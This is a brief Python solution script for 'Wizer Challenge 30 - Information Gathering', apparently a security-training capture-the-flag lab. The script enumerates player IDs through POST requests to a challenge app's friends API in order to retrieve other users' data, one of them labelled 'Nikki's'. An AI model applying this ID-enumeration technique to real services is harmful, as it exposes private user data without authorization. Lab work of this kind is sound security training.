Wizer - Challenge 30 - Information Gathering

Exploit

import requests


url = "https://chal30-fvfdv43.vercel.app"


r = requests.post(url + "/api/friends", json={
    "playerId": "25010",
})

# print(r.text)


r = requests.post(url + "/api/friends", json={
    "playerId": "25016",
})

# print(r.text)


r = requests.post(url + "/api/friends", json={
    "playerId": "25012",
})

print(r.text)


# Nikki's
r = requests.post(url + "/api/friends", json={
    "playerId": "25024",
})

print(r.text)